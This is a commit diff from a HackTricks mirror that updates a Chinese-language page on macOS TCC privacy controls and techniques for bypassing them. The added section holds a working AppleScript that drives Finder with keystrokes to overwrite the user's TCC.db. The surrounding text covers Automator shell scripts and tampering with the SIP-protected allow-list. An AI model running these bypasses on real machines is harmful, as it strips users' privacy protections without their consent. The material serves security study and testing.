mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-30 08:30:57 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
dceb2229bb
commit
362fda5e4c
1 changed files with 95 additions and 45 deletions
|
@ -5,7 +5,7 @@
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 如果您在**网络安全公司**工作,想在**HackTricks**上看到您的**公司广告**,或者想要获取**PEASS最新版本或下载HackTricks的PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您在**网络安全公司**工作,想在**HackTricks**上看到您的**公司广告**,或者想要获取**PEASS最新版本或下载HackTricks的PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列。
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||||
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||||
|
@ -24,7 +24,7 @@
|
||||||
|
|
||||||
**TCC**由位于`/System/Library/PrivateFrameworks/TCC.framework/Support/tccd`的**守护进程**处理,并在`/System/Library/LaunchDaemons/com.apple.tccd.system.plist`中配置(注册mach服务`com.apple.tccd.system`)。
|
**TCC**由位于`/System/Library/PrivateFrameworks/TCC.framework/Support/tccd`的**守护进程**处理,并在`/System/Library/LaunchDaemons/com.apple.tccd.system.plist`中配置(注册mach服务`com.apple.tccd.system`)。
|
||||||
|
|
||||||
有一个**用户模式tccd**,为每个登录的用户运行,定义在`/System/Library/LaunchAgents/com.apple.tccd.plist`中,注册mach服务`com.apple.tccd`和`com.apple.usernotifications.delegate.com.apple.tccd`。
|
有一个**用户模式的tccd**,为每个登录的用户运行,定义在`/System/Library/LaunchAgents/com.apple.tccd.plist`中,注册mach服务`com.apple.tccd`和`com.apple.usernotifications.delegate.com.apple.tccd`。
|
||||||
|
|
||||||
这里您可以看到作为系统和用户运行的tccd:
|
这里您可以看到作为系统和用户运行的tccd:
|
||||||
```bash
|
```bash
|
||||||
|
@ -36,30 +36,30 @@ ps -ef | grep tcc
|
||||||
|
|
||||||
### TCC 数据库
|
### TCC 数据库
|
||||||
|
|
||||||
允许/拒绝操作随后存储在一些TCC数据库中:
|
允许/拒绝操作随后存储在一些 TCC 数据库中:
|
||||||
|
|
||||||
* 系统范围的数据库位于 **`/Library/Application Support/com.apple.TCC/TCC.db`**。
|
* 系统范围的数据库位于 **`/Library/Application Support/com.apple.TCC/TCC.db`**。
|
||||||
* 该数据库受到**SIP保护**,因此只有SIP绕过才能写入它。
|
* 该数据库受到 **SIP 保护**,因此只有 SIP 绕过才能写入它。
|
||||||
* 用户TCC数据库 **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** 用于每个用户的偏好设置。
|
* 用户 TCC 数据库 **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** 用于每个用户的偏好设置。
|
||||||
* 该数据库受保护,因此只有具有高TCC权限的进程(如完全磁盘访问)才能写入它(但它不受SIP保护)。
|
* 该数据库受保护,因此只有具有高级 TCC 权限的进程(如完全磁盘访问)才能写入它(但它不受 SIP 保护)。
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
上述数据库也**受TCC保护以限制读取访问**。因此,除非是来自具有TCC特权的进程,否则您**无法读取**您的常规用户TCC数据库。
|
上述数据库也**受 TCC 保护以限制读取访问**。因此,除非是来自具有 TCC 权限的进程,否则您**无法读取**您的常规用户 TCC 数据库。
|
||||||
|
|
||||||
然而,请记住,具有这些高权限的进程(如**FDA**或**`kTCCServiceEndpointSecurityClient`**)将能够写入用户的TCC数据库。
|
然而,请记住,具有这些高权限的进程(如 **FDA** 或 **`kTCCServiceEndpointSecurityClient`**)将能够写入用户的 TCC 数据库。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
* 还有第**三个**TCC数据库位于 **`/var/db/locationd/clients.plist`**,用于指示允许**访问位置服务**的客户端。
|
* 还有第**三个** TCC 数据库位于 **`/var/db/locationd/clients.plist`**,用于指示允许**访问位置服务**的客户端。
|
||||||
* 受SIP保护的文件 **`/Users/carlospolop/Downloads/REG.db`**(也受TCC保护以限制读取访问),包含所有**有效TCC数据库**的**位置**。
|
* 受 SIP 保护的文件 **`/Users/carlospolop/Downloads/REG.db`**(也受 TCC 保护以限制读取访问),包含所有**有效 TCC 数据库**的**位置**。
|
||||||
* 受SIP保护的文件 **`/Users/carlospolop/Downloads/MDMOverrides.plist`**(也受TCC保护以限制读取访问),包含更多TCC授予的权限。
|
* 受 SIP 保护的文件 **`/Users/carlospolop/Downloads/MDMOverrides.plist`**(也受 TCC 保护以限制读取访问),包含更多 TCC 授予的权限。
|
||||||
* 受SIP保护的文件 **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`**(但任何人都可读)是需要TCC例外的应用程序的允许列表。 
|
* 受 SIP 保护的文件 **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`**(但任何人都可读)是需要 TCC 异常的应用程序的允许列表。 
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
**iOS**中的TCC数据库位于 **`/private/var/mobile/Library/TCC/TCC.db`**
|
**iOS** 中的 TCC 数据库位于 **`/private/var/mobile/Library/TCC/TCC.db`**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
**通知中心UI**可以在系统TCC数据库中进行**更改**:
|
**通知中心 UI** 可以在系统 TCC 数据库中进行**更改**:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -123,18 +123,18 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
检查这两个数据库,您可以检查应用程序已允许、已禁止或没有的权限(它将请求权限)。
|
检查这两个数据库,你可以检查应用程序已允许、已禁止或没有的权限(它会请求权限)。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
* **`service`** 是 TCC **权限** 字符串表示
|
* **`service`** 是 TCC **权限**的字符串表示形式
|
||||||
* **`client`** 是具有权限的 **bundle ID** 或 **路径到二进制**
|
* **`client`** 是具有权限的 **bundle ID** 或 **路径到二进制文件**
|
||||||
* **`client_type`** 表示它是 Bundle Identifier(0) 还是绝对路径(1)
|
* **`client_type`** 表示它是 Bundle Identifier(0) 还是绝对路径(1)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>如果是绝对路径该如何执行</summary>
|
<summary>如果是绝对路径该如何执行</summary>
|
||||||
|
|
||||||
只需执行 **`launchctl load your_bin.plist`**,使用类似的 plist:
|
只需执行 **`launctl load you_bin.plist`**,使用类似的 plist:
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||||
|
@ -171,7 +171,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
||||||
</dict>
|
</dict>
|
||||||
</plist>
|
</plist>
|
||||||
```
|
```
|
||||||
</details>
|
<details>
|
||||||
|
|
||||||
* **`auth_value`** 可以有不同的值:denied(0), unknown(1), allowed(2), 或 limited(3)。
|
* **`auth_value`** 可以有不同的值:denied(0), unknown(1), allowed(2), 或 limited(3)。
|
||||||
* **`auth_reason`** 可以取以下值:Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
|
* **`auth_reason`** 可以取以下值:Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
|
||||||
|
@ -196,7 +196,7 @@ echo "X'$REQ_HEX'"
|
||||||
您还可以在 `系统偏好设置 --> 安全性与隐私 --> 隐私 --> 文件与文件夹` 中检查**已授予应用程序的权限**。
|
您还可以在 `系统偏好设置 --> 安全性与隐私 --> 隐私 --> 文件与文件夹` 中检查**已授予应用程序的权限**。
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
用户_可以_使用 **`tccutil`** **删除或查询规则**。 
|
用户 _可以_ 使用 **`tccutil`** **删除或查询规则**。 
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
#### 重置 TCC 权限
|
#### 重置 TCC 权限
|
||||||
|
@ -232,11 +232,11 @@ csreq -t -r /tmp/telegram_csreq.bin
|
||||||
### 权限和 TCC 权限
|
### 权限和 TCC 权限
|
||||||
|
|
||||||
应用程序**不仅需要** **请求**并已被**授予访问**某些资源的权限,它们还需要**具有相关的权限**。\
|
应用程序**不仅需要** **请求**并已被**授予访问**某些资源的权限,它们还需要**具有相关的权限**。\
|
||||||
例如,**Telegram** 拥有权限 `com.apple.security.device.camera` 来请求**访问摄像头**。一个**没有**这个**权限的应用程序将无法**访问摄像头(用户甚至不会被询问权限)。
|
例如,**Telegram** 有权限 `com.apple.security.device.camera` 来请求**访问摄像头**。一个**没有**这个**权限的应用程序将无法**访问摄像头(用户甚至不会被询问权限)。
|
||||||
|
|
||||||
然而,对于应用程序来说,要**访问**某些**用户文件夹**,如 `~/Desktop`、`~/Downloads` 和 `~/Documents`,它们**不需要**具有任何特定的**权限**。系统将透明地处理访问并在需要时**提示用户**。
|
然而,对于应用程序来说,要**访问**某些用户文件夹,如 `~/Desktop`、`~/Downloads` 和 `~/Documents`,它们**不需要**具有任何特定的**权限**。系统将透明地处理访问并在需要时**提示用户**。
|
||||||
|
|
||||||
苹果的应用程序**不会生成提示**。它们在其**权限**列表中包含**预先授予的权利**,这意味着它们将**永远不会生成弹出窗口**,**也不**会出现在任何**TCC 数据库**中。例如:
|
苹果的应用程序**不会生成提示**。它们在其**权限**列表中包含**预先授予的权利**,这意味着它们将**永远不会生成弹出窗口**,**也不**会出现在任何**TCC 数据库中**。例如:
|
||||||
```bash
|
```bash
|
||||||
codesign -dv --entitlements :- /System/Applications/Calendar.app
|
codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||||
[...]
|
[...]
|
||||||
|
@ -247,7 +247,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||||
<string>kTCCServiceAddressBook</string>
|
<string>kTCCServiceAddressBook</string>
|
||||||
</array>
|
</array>
|
||||||
```
|
```
|
||||||
这将避免日历请求用户访问提醒事项、日历和地址簿。
|
这将避免日历请求用户访问提醒、日历和地址簿。
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
除了一些关于权限的官方文档外,还可以在[**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)找到关于权限的**非官方有趣信息**。
|
除了一些关于权限的官方文档外,还可以在[**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)找到关于权限的**非官方有趣信息**。
|
||||||
|
@ -255,7 +255,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||||
|
|
||||||
一些TCC权限包括:kTCCServiceAppleEvents、kTCCServiceCalendar、kTCCServicePhotos... 没有公开的列表定义了所有这些权限,但你可以查看这个[**已知权限列表**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)。
|
一些TCC权限包括:kTCCServiceAppleEvents、kTCCServiceCalendar、kTCCServicePhotos... 没有公开的列表定义了所有这些权限,但你可以查看这个[**已知权限列表**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)。
|
||||||
|
|
||||||
### 敏感未受保护的地方
|
### 敏感的未受保护地方
|
||||||
|
|
||||||
* $HOME(本身)
|
* $HOME(本身)
|
||||||
* $HOME/.ssh、$HOME/.aws 等
|
* $HOME/.ssh、$HOME/.aws 等
|
||||||
|
@ -263,7 +263,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||||
|
|
||||||
### 用户意图 / com.apple.macl
|
### 用户意图 / com.apple.macl
|
||||||
|
|
||||||
如前所述,可以通过将文件拖放到应用程序上来**授予应用程序对文件的访问权限**。这种访问不会在任何TCC数据库中指定,而是作为文件的**扩展** **属性**。此属性将**存储**允许应用程序的UUID:
|
如前所述,可以通过将文件拖放到应用程序上来**授予应用程序对文件的访问权限**。这种访问不会在任何TCC数据库中指定,而是作为文件的**扩展属性**。此属性将**存储允许应用程序的UUID**:
|
||||||
```bash
|
```bash
|
||||||
xattr Desktop/private.txt
|
xattr Desktop/private.txt
|
||||||
com.apple.macl
|
com.apple.macl
|
||||||
|
@ -279,12 +279,12 @@ otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| gr
|
||||||
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
|
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
|
||||||
```
|
```
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
值得注意的是,**`com.apple.macl`** 属性是由 **Sandbox** 管理的,而不是 tccd。
|
值得注意的是,**`com.apple.macl`** 属性是由 **Sandbox** 管理,而不是 tccd。
|
||||||
|
|
||||||
另外请注意,如果您将允许计算机中某个应用的 UUID 的文件移动到另一台计算机,因为同一个应用将有不同的 UIDs,它不会授予那个应用访问权限。
|
另外请注意,如果您将允许计算机中某个应用的 UUID 的文件移动到另一台计算机,因为相同的应用将有不同的 UIDs,它不会授予那个应用访问权限。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
扩展属性 `com.apple.macl` **无法像其他扩展属性那样被清除**,因为它受到 **SIP** 的保护。然而,正如[**这篇文章中解释的**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/),通过对文件进行**压缩**,**删除**然后**解压**,可以禁用它。
|
扩展属性 `com.apple.macl` **无法像其他扩展属性那样被清除**,因为它受到 **SIP** 的保护。然而,正如[**这篇文章中解释的**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/),通过**压缩**文件、**删除**它然后**解压**,可以禁用它。
|
||||||
|
|
||||||
## TCC 权限提升与绕过
|
## TCC 权限提升与绕过
|
||||||
|
|
||||||
|
@ -336,12 +336,12 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
|
||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
### 自动化至FDA\*
|
### 自动化到FDA\*
|
||||||
|
|
||||||
TCC中自动化权限的名称是:**`kTCCServiceAppleEvents`**\
|
TCC中自动化权限的名称是:**`kTCCServiceAppleEvents`**\
|
||||||
这个特定的TCC权限还指示了可以在TCC数据库中管理的**应用程序**(所以权限并不允许管理所有内容)。
|
这个特定的TCC权限还指出了可以在TCC数据库中管理的**应用程序**(所以权限并不允许管理所有内容)。
|
||||||
|
|
||||||
**Finder**是一个**始终拥有FDA**的应用程序(即使它没有出现在UI中),所以如果你拥有对它的**自动化**权限,你可以滥用它的权限来**让它执行一些操作**。\
|
**Finder**是一个**总是拥有FDA**的应用程序(即使它没有出现在UI中),所以如果你拥有对它的**自动化**权限,你可以滥用它的权限来**让它执行一些操作**。\
|
||||||
在这种情况下,你的应用程序将需要对**`com.apple.Finder`**的**`kTCCServiceAppleEvents`**权限。
|
在这种情况下,你的应用程序将需要对**`com.apple.Finder`**的**`kTCCServiceAppleEvents`**权限。
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
|
@ -382,12 +382,12 @@ EOD
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
|
||||||
您可以滥用此功能来**编写您自己的用户TCC数据库**。
|
您可以利用这一点**编写您自己的用户TCC数据库**。
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
拥有此权限,您将能够**请求finder访问受TCC限制的文件夹**并向您提供文件,但据我所知,您**无法使Finder执行任意代码**以完全滥用其FDA访问权限。
|
拥有这个权限,您将能够**请求finder访问受TCC限制的文件夹**并将文件给您,但据我所知,您**无法使Finder执行任意代码**以完全利用它的FDA访问权限。
|
||||||
|
|
||||||
因此,您将无法滥用完整的FDA能力。
|
因此,您将无法完全利用FDA的能力。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
这是获取对Finder自动化权限的TCC提示:
|
这是获取对Finder自动化权限的TCC提示:
|
||||||
|
@ -395,12 +395,12 @@ EOD
|
||||||
<figure><img src="../../../../.gitbook/assets/image (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
<figure><img src="../../../../.gitbook/assets/image (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
请注意,因为**Automator**应用程序具有TCC权限**`kTCCServiceAppleEvents`**,它可以**控制任何应用程序**,如Finder。所以,如果您有控制Automator的权限,您也可以使用下面的代码来控制**Finder**:
|
请注意,因为**Automator**应用程序具有TCC权限**`kTCCServiceAppleEvents`**,它可以**控制任何应用程序**,如Finder。所以,如果您有控制Automator的权限,您也可以使用下面的代码控制**Finder**:
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>在Automator内获取一个shell</summary>
|
<summary>在Automator中获取一个shell</summary>
|
||||||
```applescript
|
```applescript
|
||||||
osascript<<EOD
|
osascript<<EOD
|
||||||
set theScript to "touch /tmp/something"
|
set theScript to "touch /tmp/something"
|
||||||
|
@ -422,27 +422,77 @@ EOD
|
||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
同样的情况发生在**Script Editor app**,它可以控制Finder,但使用AppleScript你不能强制它执行脚本。
|
同样的情况发生在 **Script Editor 应用程序**,它可以控制 Finder,但使用 AppleScript 你不能强制它执行脚本。
|
||||||
|
|
||||||
|
### 自动化 + 辅助功能(**`kTCCServicePostEvent`**)到 FDA\*
|
||||||
|
|
||||||
|
在 **`System Events`** 上的自动化 + 辅助功能(**`kTCCServicePostEvent`**)允许向进程发送 **按键指令**。通过这种方式,你可以滥用 Finder 来更改用户的 TCC.db 或者给任意应用程序授权 FDA(尽管这样做可能会提示输入密码)。
|
||||||
|
|
||||||
|
Finder 覆盖用户 TCC.db 的示例:
|
||||||
|
```applescript
|
||||||
|
-- store the TCC.db file to copy in /tmp
|
||||||
|
osascript <<EOF
|
||||||
|
tell application "System Events"
|
||||||
|
-- Open Finder
|
||||||
|
tell application "Finder" to activate
|
||||||
|
|
||||||
|
-- Open the /tmp directory
|
||||||
|
keystroke "g" using {command down, shift down}
|
||||||
|
delay 1
|
||||||
|
keystroke "/tmp"
|
||||||
|
delay 1
|
||||||
|
keystroke return
|
||||||
|
delay 1
|
||||||
|
|
||||||
|
-- Select and copy the file
|
||||||
|
keystroke "TCC.db"
|
||||||
|
delay 1
|
||||||
|
keystroke "c" using {command down}
|
||||||
|
delay 1
|
||||||
|
|
||||||
|
-- Resolve $HOME environment variable
|
||||||
|
set homePath to system attribute "HOME"
|
||||||
|
|
||||||
|
-- Navigate to the Desktop directory under $HOME
|
||||||
|
keystroke "g" using {command down, shift down}
|
||||||
|
delay 1
|
||||||
|
keystroke homePath & "/Library/Application Support/com.apple.TCC"
|
||||||
|
delay 1
|
||||||
|
keystroke return
|
||||||
|
delay 1
|
||||||
|
|
||||||
|
-- Check if the file exists in the destination and delete if it does (need to send keystorke code: https://macbiblioblog.blogspot.com/2014/12/key-codes-for-function-and-special-keys.html)
|
||||||
|
keystroke "TCC.db"
|
||||||
|
delay 1
|
||||||
|
keystroke return
|
||||||
|
delay 1
|
||||||
|
key code 51 using {command down}
|
||||||
|
delay 1
|
||||||
|
|
||||||
|
-- Paste the file
|
||||||
|
keystroke "v" using {command down}
|
||||||
|
end tell
|
||||||
|
EOF
|
||||||
|
```
|
||||||
### **端点安全客户端到FDA**
|
### **端点安全客户端到FDA**
|
||||||
|
|
||||||
如果你有**`kTCCServiceEndpointSecurityClient`**,你就拥有FDA。结束。
|
如果你有 **`kTCCServiceEndpointSecurityClient`**,你就拥有FDA。结束。
|
||||||
|
|
||||||
### 系统策略SysAdmin文件到FDA
|
### 系统策略SysAdmin文件到FDA
|
||||||
|
|
||||||
**`kTCCServiceSystemPolicySysAdminFiles`** 允许**更改**用户的**`NFSHomeDirectory`** 属性,这改变了他的家目录,因此允许**绕过TCC**。
|
**`kTCCServiceSystemPolicySysAdminFiles`** 允许**更改**用户的 **`NFSHomeDirectory`** 属性,这会改变他的家目录,因此允许**绕过TCC**。
|
||||||
|
|
||||||
### 用户TCC数据库到FDA
|
### 用户TCC数据库到FDA
|
||||||
|
|
||||||
获取对**用户TCC**数据库的**写权限**,你**不能**授予自己**`FDA`** 权限,只有系统数据库中的那个可以授予该权限。
|
获取对**用户TCC**数据库的**写权限**,你**不能**授予自己**`FDA`** 权限,只有系统数据库中的那个才能授予这个权限。
|
||||||
|
|
||||||
但是你**可以**给自己**`自动化权限到Finder`**,并滥用前面的技术来升级到FDA\*。
|
但是你**可以**给自己**`自动化权限到Finder`**,并滥用前面的技术来升级到FDA\*。
|
||||||
|
|
||||||
### **FDA到TCC权限**
|
### **FDA到TCC权限**
|
||||||
|
|
||||||
**完全磁盘访问**在TCC中的名称是**`kTCCServiceSystemPolicyAllFiles`**
|
**全盘访问权限**在TCC中的名称是 **`kTCCServiceSystemPolicyAllFiles`**
|
||||||
|
|
||||||
我不认为这是一个真正的权限提升,但以防你觉得它有用:如果你控制了一个拥有FDA的程序,你可以**修改用户的TCC数据库并给自己任何访问权限**。这可以作为一个持久性技术,以防你可能失去你的FDA权限。
|
我不认为这是一个真正的权限提升,但以防你发现它有用:如果你控制了一个有FDA的程序,你可以**修改用户的TCC数据库并给自己任何访问权限**。这可以作为一个持久性技术,以防你可能失去你的FDA权限。
|
||||||
|
|
||||||
### **SIP绕过到TCC绕过**
|
### **SIP绕过到TCC绕过**
|
||||||
|
|
||||||
|
@ -453,7 +503,7 @@ EOD
|
||||||
* REG.db
|
* REG.db
|
||||||
* MDMOverrides.plist
|
* MDMOverrides.plist
|
||||||
|
|
||||||
然而,还有另一种利用这个**SIP绕过来绕过TCC**的方法,文件`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` 是一个允许需要TCC例外的应用程序的列表。因此,如果攻击者能够**移除这个文件的SIP保护**并添加他**自己的应用程序**,该应用程序将能够绕过TCC。\
|
然而,还有另一种方法可以滥用这个**SIP绕过来绕过TCC**,文件 `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` 是一个允许列表,列出了需要TCC例外的应用程序。因此,如果攻击者可以**移除这个文件的SIP保护**并添加他**自己的应用程序**,那么应用程序将能够绕过TCC。\
|
||||||
例如添加终端:
|
例如添加终端:
|
||||||
```bash
|
```bash
|
||||||
# Get needed info
|
# Get needed info
|
||||||
|
@ -504,7 +554,7 @@ AllowApplicationsList.plist:
|
||||||
* 你在**网络安全公司**工作吗?你想在**HackTricks**看到你的**公司广告**吗?或者你想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 你在**网络安全公司**工作吗?你想在**HackTricks**看到你的**公司广告**吗?或者你想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏。
|
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏。
|
||||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **推特** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注我。**
|
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **推特** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我。
|
||||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
Loading…
Reference in a new issue